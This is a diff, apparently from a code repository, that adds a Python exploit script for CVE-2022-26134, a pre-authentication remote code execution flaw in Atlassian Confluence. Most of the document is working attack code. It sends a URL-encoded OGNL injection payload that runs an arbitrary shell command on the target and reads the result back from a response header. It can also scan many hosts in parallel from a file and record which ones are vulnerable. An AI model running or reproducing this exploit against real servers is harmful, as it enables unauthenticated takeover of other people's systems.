1
+ # Exploit Title: Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
2
+ # Google Dork: N/A
3
+ # Date: 06/006/2022
4
+ # Exploit Author: h3v0x
5
+ # Vendor Homepage: https://www.atlassian.com/
6
+ # Software Link: https://www.atlassian.com/software/confluence/download-archives
7
+ # Version: All < 7.4.17 versions before 7.18.1
8
+ # Tested on: -
9
+ # CVE : CVE-2022-26134
10
+ # https://github.com/h3v0x/CVE-2022-26134
11
+
12
+ #!/usr/bin/python3
13
+
14
+ import sys
15
+ import requests
16
+ import optparse
17
+ import multiprocessing
18
+
19
+ from requests .packages import urllib3
20
+ from requests .exceptions import MissingSchema , InvalidURL
21
+ urllib3 .disable_warnings ()
22
+
23
+ requestEngine = multiprocessing .Manager ()
24
+ session = requests .Session ()
25
+
26
+ global paramResults
27
+ paramResults = requestEngine .list ()
28
+ globals ().update (locals ())
29
+
30
+ def spiderXpl (url ):
31
+ globals ().update (locals ())
32
+ if not url .startswith ('http' ):
33
+ url = 'http://' + url
34
+
35
+ headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" ,
36
+ "Connection" : "close" ,
37
+ "Accept-Encoding" : "gzip, deflate" }
38
+
39
+ try :
40
+ response = requests .get (url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22' + optionsOpt .command + '%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/' , headers = headers , verify = False , allow_redirects = False )
41
+ if (response .status_code == 302 ):
42
+ print ('Found: ' + url + ' // ' + response .headers ['X-Cmd-Response' ])
43
+
44
+ inputBuffer = str (response .headers ['X-Cmd-Response' ])
45
+ paramResults .append ('Vulnerable application found:' + url + '\n ' 'Command result:' + inputBuffer + '\n ' )
46
+ else :
47
+ pass
48
+
49
+ except requests .exceptions .ConnectionError :
50
+ print ('[x] Failed to Connect: ' + url )
51
+ pass
52
+ except multiprocessing .log_to_stderr :
53
+ pass
54
+ except KeyboardInterrupt :
55
+ print ('[!] Stoping exploit...' )
56
+ exit (0 )
57
+ except (MissingSchema , InvalidURL ):
58
+ pass
59
+
60
+
61
+ def banner ():
62
+ print ('[-] CVE-2022-26134' )
63
+ print ('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n ' )
64
+
65
+
66
+ def main ():
67
+ banner ()
68
+
69
+ globals ().update (locals ())
70
+
71
+ sys .setrecursionlimit (100000 )
72
+
73
+ if not optionsOpt .filehosts :
74
+ url = optionsOpt .url
75
+ spiderXpl (url )
76
+ else :
77
+ f = open (optionsOpt .filehosts )
78
+ urls = map (str .strip , f .readlines ())
79
+
80
+ multiReq = multiprocessing .Pool (optionsOpt .threads_set )
81
+ try :
82
+ multiReq .map (spiderXpl , urls )
83
+ multiReq .close ()
84
+ multiReq .join ()
85
+ except UnboundLocalError :
86
+ pass
87
+ except KeyboardInterrupt :
88
+ exit (0 )
89
+
90
+
91
+ if optionsOpt .output :
92
+ print ("\n [!] Saving the output result in: %s" % optionsOpt .output )
93
+
94
+ with open (optionsOpt .output , "w" ) as f :
95
+ for result in paramResults :
96
+ f .write ("%s\n " % result )
97
+ f .close ()
98
+
99
+ if __name__ == "__main__" :
100
+ parser = optparse .OptionParser ()
101
+
102
+ parser .add_option ('-u' , '--url' , action = "store" , dest = "url" , help = 'Base target uri (ex. http://target-uri/)' )
103
+ parser .add_option ('-f' , '--file' , dest = "filehosts" , help = 'example.txt' )
104
+ parser .add_option ('-t' , '--threads' , dest = "threads_set" , type = int ,default = 10 )
105
+ parser .add_option ('-m' , '--maxtimeout' , dest = "timeout" , type = int ,default = 8 )
106
+ parser .add_option ('-o' , '--output' , dest = "output" , type = str , default = 'exploit_result.txt' )
107
+ parser .add_option ('-c' , '--cmd' , dest = "command" , type = str , default = 'id' )
108
+ optionsOpt , args = parser .parse_args ()
109
+
110
+ main ()
0 commit comments